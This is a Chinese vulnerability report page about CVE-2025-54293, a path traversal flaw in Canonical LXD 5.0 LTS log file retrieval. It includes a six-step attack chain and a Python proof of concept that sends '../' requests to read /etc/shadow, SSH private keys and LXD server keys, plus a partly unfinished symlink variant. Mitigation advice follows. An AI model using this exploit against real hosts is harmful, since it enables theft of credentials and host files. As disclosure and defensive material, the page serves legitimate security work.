IPBUF安全漏洞报告
English
CVE-2025-54293 CVSS 6.5 中危

CVE-2025-54293:Canonical LXD日志文件检索路径遍历漏洞

披露日期: 2025-10-02

漏洞信息

漏洞编号
CVE-2025-54293
漏洞类型
路径遍历(Path Traversal)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Canonical LXD 5.0 LTS

相关标签

路径遍历Path TraversalCanonical LXDLXD容器安全CWE-22CWE-59信息泄露权限提升Ubuntu

漏洞概述

CVE-2025-54293是Canonical LXD 5.0 LTS版本中存在的路径遍历漏洞,位于日志文件检索功能模块中。该漏洞允许经过身份验证的远程攻击者通过构造恶意的日志文件名或利用符号链接(symlink),读取宿主机系统上的任意文件。

LXD(Linux Container Daemon)是Canonical公司开发的下一代系统容器管理器,广泛用于在Linux系统上创建和管理系统容器。它提供了类似于虚拟机的隔离环境,但更加轻量级,被广泛应用于云原生部署、开发测试环境和CI/CD流水线中。由于LXD通常以root权限运行以管理容器,容器管理守护进程一旦被攻破,将直接威胁宿主机的安全。

该漏洞的CVSS 3.1评分为6.5分,属于中危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要低权限认证(PR:L),无需用户交互(UI:N)。漏洞主要影响机密性(C:H),对完整性和可用性无影响。这意味着攻击者可以读取宿主机上的敏感文件,如配置文件、密钥、密码文件等,但无法修改文件或造成服务中断。

该漏洞由Ubuntu安全团队([email protected])发现并报告,于2025年10月2日公开披露。Canonical已发布安全公告GHSA-472f-vmf2-pr3h,并提供了修复版本。建议所有使用LXD 5.0 LTS的用户尽快升级到修复后的版本,以保护宿主机系统的安全。

技术细节

该漏洞存在于LXD的日志文件检索功能中,具体位于处理日志文件路径的代码模块。当用户通过LXD API请求查看特定实例的日志文件时,系统会根据用户提供的日志文件名构建文件路径,并从宿主机的文件系统中读取相应文件。

漏洞的根本原因在于代码未对用户输入的日志文件名进行充分的路径验证和规范化处理。攻击者可以利用以下两种方式之一实施攻击:

1. **路径遍历字符注入**:攻击者可以在日志文件名中注入路径遍历序列(如"../"),例如构造类似"../../etc/shadow"的文件名。当LXD后端处理该请求时,会将恶意文件名拼接到基础路径中,导致最终路径指向宿主机上的任意文件,而非预期的日志文件目录。

2. **符号链接攻击**:攻击者可以在容器实例内部创建指向宿主机敏感文件的符号链接,然后请求LXD读取该符号链接指向的文件。由于LXD在解析日志文件路径时未正确处理符号链接,可能导致符号链接被解析到宿主机的任意位置。

漏洞利用的前提条件是攻击者需要拥有有效的LXD账户并具有相应的低权限认证(PR:L)。一旦认证通过,攻击者可以通过LXD的REST API或命令行工具(如lxc)发送精心构造的日志检索请求,触发路径遍历,从而读取宿主机上的敏感文件,如/etc/shadow、SSH私钥、配置文件等。

由于LXD守护进程通常以root权限运行,攻击者读取的任意文件也将以root权限进行访问,这大大增加了漏洞的危害程度。

攻击链分析

STEP 1
步骤1:获取LXD认证凭据
攻击者首先需要获取LXD系统的有效认证凭据(客户端证书或API令牌)。这些可以通过社会工程、钓鱼攻击、或者利用其他已攻陷的低权限账户获得。LXD支持基于TLS证书的认证,攻击者只需拥有有效的客户端证书即可通过身份验证。
STEP 2
步骤2:枚举可访问的容器实例
使用认证凭据连接到LXD API(默认端口8443),通过GET /1.0/instances端点枚举当前账户有权访问的容器实例列表。攻击者需要至少一个可访问的实例来发送日志检索请求。
STEP 3
步骤3:构造恶意日志文件名
利用路径遍历漏洞,构造包含'../'序列的恶意日志文件名。例如,要读取宿主机的/etc/shadow文件,可以构造文件名'../../../../../../etc/shadow',使路径跳出日志目录指向目标文件。
STEP 4
步骤4:发送日志检索请求
通过LXD API发送GET /1.0/instances/{name}/logs/{malicious_filename}请求。由于后端未对文件名进行路径规范化处理,恶意路径被直接用于文件读取操作。
STEP 5
步骤5:读取宿主机敏感文件
LXD守护进程以root权限执行文件读取操作,成功读取到宿主机上的任意文件。攻击者可以获取SSH私钥、密码哈希、配置文件等敏感信息,进一步扩大攻击范围或提升权限。
STEP 6
步骤6:利用获取的信息进行进一步攻击
利用读取到的敏感信息(如root密码哈希、SSH密钥、配置文件中的其他凭据),攻击者可以尝试提升权限、横向移动到其他系统,或访问其他受限资源。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-54293 PoC - LXD Path Traversal via Log File Retrieval # This PoC demonstrates the path traversal vulnerability in Canonical LXD 5.0 LTS # that allows authenticated remote attackers to read arbitrary files on the host system. import requests import json # LXD API endpoint LXD_URL = "https://lxd-host:8443" # Attacker credentials (low-privilege authenticated user) CERT_PATH = "/path/to/client.crt" KEY_PATH = "/path/to/client.key" VERIFY_SSL = False def authenticate(): """Authenticate to LXD API using client certificate""" session = requests.Session() session.cert = (CERT_PATH, KEY_PATH) session.verify = VERIFY_SSL return session def exploit_path_traversal(session, instance_name, target_file): """ Exploit path traversal in log file retrieval to read arbitrary host files. :param session: Authenticated requests session :param instance_name: Name of a valid container/instance the attacker has access to :param target_file: Path on the host system to read (e.g., "/etc/shadow") """ # Craft malicious log file name with path traversal sequence # The log file retrieval endpoint expects a log file name, but fails to # sanitize path traversal characters malicious_log_name = f"../../../../../../..{target_file}" # Construct the API endpoint for log file retrieval # LXD API: /1.0/instances/{name}/logs/{filename} endpoint = f"{LXD_URL}/1.0/instances/{instance_name}/logs/{malicious_log_name}" print(f"[*] Sending path traversal request to read: {target_file}") response = session.get(endpoint) if response.status_code == 200: print(f"[+] Successfully retrieved file contents:") print("-" * 60) print(response.text) print("-" * 60) return response.text else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") return None def exploit_symlink(session, instance_name, target_file): """ Alternative exploitation method using symbolic links within a container. :param session: Authenticated requests session :param instance_name: Name of the container the attacker controls :param target_file: Target file on the host to read """ # Step 1: Execute command inside container to create a symlink # pointing from a log file location to the target host file cmd = { "command": [ "ln", "-s", target_file, f"/var/log/lxd/{instance_name}/lxc.log" ], "environment": {}, "wait-for-websocket": False } exec_endpoint = f"{LXD_URL}/1.0/instances/{instance_name}/exec" print(f"[*] Creating symlink inside container {instance_name}") # Note: This requires exec privileges on the instance # Step 2: Request the log file which now follows the symlink log_endpoint = f"{LXD_URL}/1.0/instances/{instance_name}/logs/lxc.log" response = session.get(log_endpoint) if response.status_code == 200: print(f"[+] Successfully read host file via symlink:") print(response.text) return response.text if __name__ == "__main__": # Authenticate to LXD session = authenticate() # Target sensitive files on the host target_files = [ "/etc/shadow", "/root/.ssh/id_rsa", "/etc/lxd/server.crt", "/etc/lxd/server.key" ] # Exploit using path traversal in log file name for target in target_files: result = exploit_path_traversal(session, "target-instance", target) if result: print(f"\n[!] Sensitive data extracted from {target}") break

影响范围

Canonical LXD 5.0 LTS(5.0.x系列)
Canonical LXD < 5.0.4(修复版本之前的版本)

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制LXD API的网络访问,仅允许受信任的IP地址连接8443端口;2)审查并最小化LXD用户的权限,撤销不必要的低权限账户;3)监控LXD API日志,查找包含路径遍历字符(如'../')的异常请求;4)考虑在反向代理层面添加输入过滤规则,阻止包含路径遍历序列的请求;5)将敏感文件(如SSH私钥、密码文件)的权限收紧,减少即使被读取也造成的损害。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表